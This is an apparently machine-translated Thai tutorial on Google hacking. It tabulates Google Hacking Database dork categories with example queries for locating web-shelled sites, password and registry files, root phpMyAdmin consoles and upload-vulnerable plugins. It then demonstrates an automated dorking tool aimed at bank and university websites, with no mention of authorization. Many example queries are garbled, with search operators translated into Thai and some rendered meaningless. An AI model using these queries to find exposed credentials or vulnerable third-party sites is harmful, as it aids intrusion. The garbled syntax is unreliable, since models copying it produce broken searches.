เป็นเรื่องที่ควรเข้าใจว่าคำขอใด ๆ ไปยังเครื่องมือค้นหาคือการค้นหาด้วยคำพูดเท่านั้น
การค้นหาอักขระเมตาบนหน้าเว็บนั้นไม่มีประโยชน์ (เครื่องหมายคำพูด วงเล็บ เครื่องหมายวรรคตอน ฯลฯ) แม้แต่การค้นหาวลีที่ตรงกันทุกประการที่ระบุในเครื่องหมายคำพูดก็คือการค้นหาคำ ตามด้วยการค้นหารายการที่ตรงกันทุกประการในผลลัพธ์
Dorks ฐานข้อมูล Google Hack ทั้งหมดแบ่งออกเป็น 14 หมวดหมู่ตามตรรกะและแสดงไว้ในตารางที่ 3
ตารางที่ 3 – หมวดหมู่ฐานข้อมูล Google Hack
หมวดหมู่ |
สิ่งที่ช่วยให้คุณค้นพบ |
ตัวอย่าง |
ที่วางเท้า |
Web Shells ตัวจัดการไฟล์สาธารณะ |
ค้นหาไซต์ที่ถูกแฮ็กทั้งหมดซึ่งมีการอัปโหลด webshells ที่ระบุไว้: (intitle:"phpshell" หรือ intitle:"c99shell" หรือ intitle:"r57shell" หรือ intitle:"PHP Shell" หรือ intitle:"phpRemoteView") `rwx` "uname" |
ไฟล์ที่มีชื่อผู้ใช้ |
ไฟล์รีจิสตรี ไฟล์การกำหนดค่า บันทึก ไฟล์ที่มีประวัติของคำสั่งที่ป้อน |
ค้นหาไฟล์รีจิสตรีทั้งหมดที่มีข้อมูลบัญชี: ประเภทไฟล์:reg reg +intext:“ผู้จัดการบัญชีอินเทอร์เน็ต” |
ไดเรกทอรีที่ละเอียดอ่อน |
ไดเร็กทอรีที่มีข้อมูลต่างๆ (เอกสารส่วนตัว, การกำหนดค่า VPN, พื้นที่เก็บข้อมูลที่ซ่อนอยู่ ฯลฯ) |
ค้นหารายการไดเร็กทอรีทั้งหมดที่มีไฟล์ที่เกี่ยวข้องกับ VPN: "Config" intitle: "ดัชนีของ" intext: vpn ไซต์ที่มีที่เก็บ git: (intext:"ดัชนีของ /.git") ("ไดเรกทอรีหลัก") |
การตรวจจับเซิร์ฟเวอร์เว็บ |
เวอร์ชันและข้อมูลอื่น ๆ เกี่ยวกับเว็บเซิร์ฟเวอร์ |
ค้นหาคอนโซลการดูแลระบบเซิร์ฟเวอร์ JBoss: inurl:"/web-console/" intitle:"คอนโซลผู้ดูแลระบบ" |
ไฟล์ที่มีช่องโหว่ |
สคริปต์ที่มีช่องโหว่ที่ทราบ |
ค้นหาไซต์ที่ใช้สคริปต์ที่อนุญาตให้คุณอัปโหลดไฟล์ที่ต้องการจากเซิร์ฟเวอร์: allinurl:forcedownload.php?file= |
เซิร์ฟเวอร์ที่มีช่องโหว่ |
สคริปต์การติดตั้ง, เว็บเชลล์, คอนโซลการดูแลระบบแบบเปิด ฯลฯ |
ค้นหาคอนโซล PHPMyAdmin ที่เปิดอยู่ซึ่งทำงานเป็นรูท: intitle:phpMyAdmin "ยินดีต้อนรับสู่ phpMyAdmin ***" "ทำงานบน * ในชื่อ root@*" |
ข้อความแสดงข้อผิดพลาด |
ข้อผิดพลาดและคำเตือนต่างๆ มักจะเปิดเผยข้อมูลสำคัญ ตั้งแต่เวอร์ชัน CMS ไปจนถึงรหัสผ่าน |
ไซต์ที่มีข้อผิดพลาดในการดำเนินการแบบสอบถาม SQL ไปยังฐานข้อมูล: "คำเตือน: mysql_query()" "แบบสอบถามไม่ถูกต้อง" |
ไฟล์ที่มีข้อมูลที่น่าสนใจ |
ใบรับรอง ข้อมูลสำรอง อีเมล บันทึก สคริปต์ SQL ฯลฯ |
ค้นหาสคริปต์ sql การเริ่มต้น: ประเภทไฟล์:sql และ “แทรกลงใน” -site:github.com |
ไฟล์ที่มีรหัสผ่าน |
สิ่งใดก็ตามที่สามารถมีรหัสผ่านได้ - บันทึก, สคริปต์ SQL ฯลฯ |
บันทึกที่กล่าวถึงรหัสผ่าน: ประเภทไฟล์:บันทึกข้อความ:รหัสผ่าน |ผ่าน |ปว สคริปต์ sql ที่มีรหัสผ่าน: ต่อ:ฐานข้อมูล SQLข้อความ:ชื่อผู้ใช้ข้อความ:รหัสผ่าน |
ข้อมูลการช็อปปิ้งออนไลน์ที่ละเอียดอ่อน |
ข้อมูลที่เกี่ยวข้องกับการซื้อออนไลน์ |
ค้นหารหัสพิน: ดีไซด์=พันล้าน=เข็มหมุดรหัส= |
ข้อมูลเครือข่ายหรือช่องโหว่ |
ข้อมูลที่ไม่เกี่ยวข้องโดยตรงกับทรัพยากรบนเว็บ แต่ส่งผลกระทบต่อเครือข่ายหรือบริการอื่นๆ ที่ไม่ใช่บนเว็บ |
ค้นหาสคริปต์การกำหนดค่าพร็อกซีอัตโนมัติที่มีข้อมูลเกี่ยวกับเครือข่ายภายใน: inurl:พร็อกซี | inurl:wpad ต่อ:pac | ต่อ: dat findproxyforurl |
หน้าที่มีพอร์ทัลเข้าสู่ระบบ |
หน้าที่มีแบบฟอร์มเข้าสู่ระบบ |
หน้าเว็บ saplogon: ข้อความ:"2016 SAP AG. สงวนลิขสิทธิ์" ชื่อเรื่อง:"เข้าสู่ระบบ" |
อุปกรณ์ออนไลน์ต่างๆ |
เครื่องพิมพ์ เราเตอร์ ระบบตรวจสอบ ฯลฯ |
ค้นหาแผงการกำหนดค่าเครื่องพิมพ์: ชื่อ:"แรงม้าเลเซอร์เจ็ท"ใส่ URL:เอสเอสไอ/รับรองความถูกต้อง/ชุด_กำหนดค่า_ข้อมูลอุปกรณ์htm |
คำแนะนำและช่องโหว่ |
เว็บไซต์ในเวอร์ชัน CMS ที่มีช่องโหว่ |
ค้นหาปลั๊กอินที่มีช่องโหว่ซึ่งคุณสามารถอัปโหลดไฟล์ที่กำหนดเองไปยังเซิร์ฟเวอร์ได้: inurl:fckeditor -intext: "ConfigIsEnabled = False" intext: ConfigIsEnabled |
Dorks มักมุ่งเน้นไปที่การค้นหาในเว็บไซต์อินเทอร์เน็ตทั้งหมด แต่ไม่มีสิ่งใดป้องกันคุณจากการจำกัดขอบเขตการค้นหาในไซต์หรือไซต์ใดๆ
ข้อความค้นหาของ Google แต่ละคำสามารถมุ่งเน้นไปที่ไซต์ใดไซต์หนึ่งได้โดยการเพิ่มคำหลัก “site:somesite.com” ลงในข้อความค้นหา คีย์เวิร์ดนี้สามารถเพิ่มลงใน dork ใดก็ได้
ค้นหาช่องโหว่โดยอัตโนมัติ
นี่คือที่มาของแนวคิดในการเขียนยูทิลิตี้ง่ายๆ ที่ทำการค้นหาช่องโหว่โดยอัตโนมัติโดยใช้เครื่องมือค้นหา (google) และอาศัยฐานข้อมูลแฮ็กของ Google
ยูทิลิตี้นี้เป็นสคริปต์ที่เขียนใน nodejs โดยใช้ phantomjs พูดให้ถูกก็คือ สคริปต์ถูกตีความโดย phantomjs นั่นเอง
Phantomjs เป็นเว็บเบราว์เซอร์เต็มรูปแบบที่ไม่มี GUI ควบคุมโดยโค้ด js และด้วย API ที่สะดวกสบาย
ยูทิลิตี้นี้ได้รับชื่อที่เข้าใจได้ค่อนข้างดี - dorks ด้วยการรันบนบรรทัดคำสั่ง (โดยไม่มีตัวเลือก) เราได้รับความช่วยเหลือสั้นๆ พร้อมตัวอย่างการใช้งานหลายประการ:
รูปที่ 1 - รายการตัวเลือกหลักๆ
ไวยากรณ์ทั่วไปของยูทิลิตี้นี้คือ: dork “command” “option list”
คำอธิบายโดยละเอียดของตัวเลือกทั้งหมดแสดงไว้ในตารางที่ 4
ตารางที่ 4 - ไวยากรณ์ Dorks
ทีม |
ตัวเลือก |
คำอธิบาย |
ghdb |
-ล |
พิมพ์รายการหมายเลขหมวดหมู่ dork ฐานข้อมูล Google Hack |
-c “หมายเลขหมวดหมู่หรือชื่อ” |
ประตูโหลดประเภทที่ระบุตามหมายเลขหรือชื่อ |
|
-q "วลี" |
ดาวน์โหลด dorks ตามคำขอ |
|
-o "ไฟล์" |
บันทึกผลลัพธ์ลงในไฟล์ (เฉพาะตัวเลือก -c|-q) |
|
Google |
-d "ดอก" |
ตั้งค่า dork โดยพลการ (ตัวเลือกสามารถใช้ได้หลายครั้ง อนุญาตให้ใช้ร่วมกับตัวเลือก -D) |
-D "ไฟล์" |
ใช้ dorks จากไฟล์ |
|
-s "ไซต์" |
ตั้งค่าไซต์ (อนุญาตให้ใช้ตัวเลือกได้หลายครั้ง ใช้ร่วมกับตัวเลือก -S ได้) |
|
-S "ไฟล์" |
ใช้ไซต์จากไฟล์ (dorks จะถูกค้นหาสำหรับแต่ละไซต์แยกกัน) |
|
-f "ตัวกรอง" |
ตั้งค่าคีย์เวิร์ดเพิ่มเติม (จะถูกเพิ่มในแต่ละดอร์ก) |
|
-t "จำนวนมิลลิวินาที" |
ช่วงเวลาระหว่างคำขอไปยัง Google |
|
-T "จำนวนมิลลิวินาที" |
หมดเวลาหากพบแคปต์ชา |
|
-o "ไฟล์" |
บันทึกผลลัพธ์ลงในไฟล์ (เฉพาะแทร็กที่พบบางสิ่งเท่านั้นที่จะถูกบันทึก) |
เมื่อใช้คำสั่ง ghdb คุณสามารถรับ dorks ทั้งหมดจาก Exploit-db ตามคำขอที่กำหนดเอง หรือระบุหมวดหมู่ทั้งหมด หากคุณระบุหมวดหมู่ 0 ฐานข้อมูลทั้งหมดจะถูกยกเลิกการโหลด (ประมาณ 4.5 พันดอร์ก)
รายการหมวดหมู่ที่มีอยู่ในปัจจุบันแสดงไว้ในรูปที่ 2
รูปที่ 2 - รายการหมวดหมู่ GHDB dork ที่มีอยู่
ทีมงาน Google จะแทนที่แต่ละ Dork ลงในเครื่องมือค้นหาของ Google และวิเคราะห์ผลลัพธ์สำหรับการจับคู่ เส้นทางที่พบบางสิ่งจะถูกบันทึกลงในไฟล์
ยูทิลิตี้นี้รองรับโหมดการค้นหาที่แตกต่างกัน:
1 ดอกและ 1 ไซต์;
1 ดอกและหลายไซต์
1 ไซต์และ dorks มากมาย
ไซต์หลายแห่งและ dorks หลายแห่ง
รายชื่อ Dorks และไซต์สามารถระบุได้ผ่านทางอาร์กิวเมนต์หรือผ่านไฟล์
สาธิตการทำงาน
ลองค้นหาช่องโหว่โดยใช้ตัวอย่างการค้นหาข้อความแสดงข้อผิดพลาด ตามคำสั่ง: dorks ghdb –c 7 –o error.dorks ทุก dorks ที่รู้จักในหมวด “ข้อความแสดงข้อผิดพลาด” จะถูกโหลดดังแสดงในรูปที่ 3
รูปที่ 3 – กำลังโหลด dorks ที่รู้จักทั้งหมดของหมวดหมู่ “ข้อความแสดงข้อผิดพลาด”
Dorks จะถูกดาวน์โหลดและบันทึกเป็นไฟล์ ตอนนี้สิ่งที่เหลืออยู่ก็คือ "ตั้งค่า" พวกมันในบางไซต์ (ดูรูปที่ 4)
รูปที่ 4 – ค้นหาช่องโหว่ของไซต์ที่สนใจในแคชของ Google
หลังจากผ่านไประยะหนึ่ง หน้าเว็บหลายหน้าที่มีข้อผิดพลาดจะถูกค้นพบบนไซต์ที่กำลังศึกษา (ดูรูปที่ 5)
รูปที่ 5 – พบข้อความแสดงข้อผิดพลาด
ด้วยเหตุนี้ในไฟล์ result.txt เราจึงได้รับรายการ Dorks ทั้งหมดที่ทำให้เกิดข้อผิดพลาด
รูปที่ 6 แสดงผลลัพธ์การค้นหาข้อผิดพลาดของไซต์
รูปที่ 6 – ผลการค้นหาข้อผิดพลาด
แคชสำหรับ dork นี้จะแสดง backtrace ที่สมบูรณ์ โดยเปิดเผยพาธสัมบูรณ์ของสคริปต์ ระบบจัดการเนื้อหาไซต์ และประเภทฐานข้อมูล (ดูรูปที่ 7)
รูปที่ 7 – การเปิดเผยข้อมูลเกี่ยวกับการออกแบบเว็บไซต์
อย่างไรก็ตาม ควรพิจารณาว่าไม่ใช่ว่า dorks ทั้งหมดจาก GHDB จะให้ผลลัพธ์ที่แท้จริง นอกจากนี้ Google อาจไม่พบรายการที่ตรงกันทั้งหมดและแสดงผลลัพธ์ที่คล้ายกัน
ในกรณีนี้ควรใช้รายชื่อ dorks ส่วนตัวของคุณจะดีกว่า ตัวอย่างเช่นการค้นหาไฟล์ที่มีนามสกุล "ผิดปกติ" เป็นสิ่งที่คุ้มค่าเสมอตัวอย่างดังแสดงในรูปที่ 8
รูปที่ 8 – รายการนามสกุลไฟล์ที่ไม่ปกติสำหรับแหล่งข้อมูลบนเว็บทั่วไป
ด้วยเหตุนี้ด้วยคำสั่ง dorks google –D extensions.txt –f bank ตั้งแต่คำขอแรกสุด Google จึงเริ่มส่งคืนไซต์ที่มีนามสกุลไฟล์ "ผิดปกติ" (ดูรูปที่ 9)
รูปที่ 9 – ค้นหาประเภทไฟล์ที่ “ไม่ดี” บนเว็บไซต์ธนาคาร
โปรดทราบว่า Google ไม่ยอมรับข้อความค้นหาที่ยาวเกิน 32 คำ
การใช้คำสั่ง dorks google –d intext:”error|คำเตือน|ข้อสังเกต|ไวยากรณ์” –f มหาวิทยาลัย
คุณสามารถค้นหาข้อผิดพลาดของล่าม PHP ได้บนเว็บไซต์ด้านการศึกษา (ดูรูปที่ 10)
รูปที่ 10 – การค้นหาข้อผิดพลาดรันไทม์ PHP
บางครั้งการใช้ dorks หนึ่งหรือสองประเภทก็ไม่สะดวก
ตัวอย่างเช่น หากทราบว่าไซต์ทำงานบนเอ็นจิ้น Wordpress เราก็จำเป็นต้องมีโมดูลเฉพาะของ WordPress ในกรณีนี้จะสะดวกในการใช้การค้นหาฐานข้อมูล Google Hack คำสั่ง dorks ghdb –q wordpress –o wordpress_dorks.txt จะดาวน์โหลด dorks ทั้งหมดจาก Wordpress ดังแสดงในรูปที่ 11:
รูปที่ 11 – ค้นหา Dorks ที่เกี่ยวข้องกับ Wordpress
กลับไปที่ธนาคารอีกครั้งและใช้คำสั่ง dorks google –D wordpress_dords.txt –f bank เพื่อลองค้นหาสิ่งที่น่าสนใจที่เกี่ยวข้องกับ Wordpress (ดูรูปที่ 12)
รูปที่ 12 – ค้นหาช่องโหว่ของ Wordpress
เป็นที่น่าสังเกตว่าการค้นหาในฐานข้อมูล Google Hack ไม่ยอมรับคำที่สั้นกว่า 4 ตัวอักษร ตัวอย่างเช่น หากไม่รู้จัก CMS ของไซต์ แต่รู้จักภาษา - PHP ในกรณีนี้ คุณสามารถกรองสิ่งที่คุณต้องการได้ด้วยตนเองโดยใช้ไปป์และยูทิลิตีการค้นหาระบบ dorks –c all | findstr /I php > php_dorks.txt (ดูรูปที่ 13):
รูปที่ 13 – ค้นหา dorks ทั้งหมดที่กล่าวถึง PHP
การค้นหาช่องโหว่หรือข้อมูลที่ละเอียดอ่อนในเครื่องมือค้นหาควรทำก็ต่อเมื่อมีดัชนีที่สำคัญบนไซต์นี้ ตัวอย่างเช่น หากไซต์มีการจัดทำดัชนีไว้ 10-15 หน้า การค้นหาสิ่งใดในลักษณะนี้ถือเป็นเรื่องโง่ การตรวจสอบขนาดดัชนีนั้นง่ายดาย เพียงป้อน “site:somesite.com” ลงในแถบค้นหาของ Google ตัวอย่างของไซต์ที่มีดัชนีไม่เพียงพอแสดงในรูปที่ 14
รูปที่ 14 – การตรวจสอบขนาดดัชนีไซต์
ตอนนี้เกี่ยวกับสิ่งที่ไม่พึงประสงค์... ในบางครั้ง Google อาจขอแคปต์ชา - คุณไม่สามารถทำอะไรกับมันได้ - คุณจะต้องป้อนมัน ตัวอย่างเช่น เมื่อค้นหาในหมวดหมู่ "ข้อความแสดงข้อผิดพลาด" (90 dorks) แคปต์ชาจะปรากฏเพียงครั้งเดียว
เป็นเรื่องที่คุ้มค่าที่จะเพิ่มว่า phantomjs ยังรองรับการทำงานผ่านพรอกซี ทั้งผ่านทางอินเทอร์เฟซ http และถุงเท้า หากต้องการเปิดใช้งานโหมดพร็อกซี คุณต้องยกเลิกการใส่หมายเหตุในบรรทัดที่เกี่ยวข้องใน dorks.bat หรือ dorks.sh
เครื่องมือนี้มีให้ใช้งานเป็นซอร์สโค้ด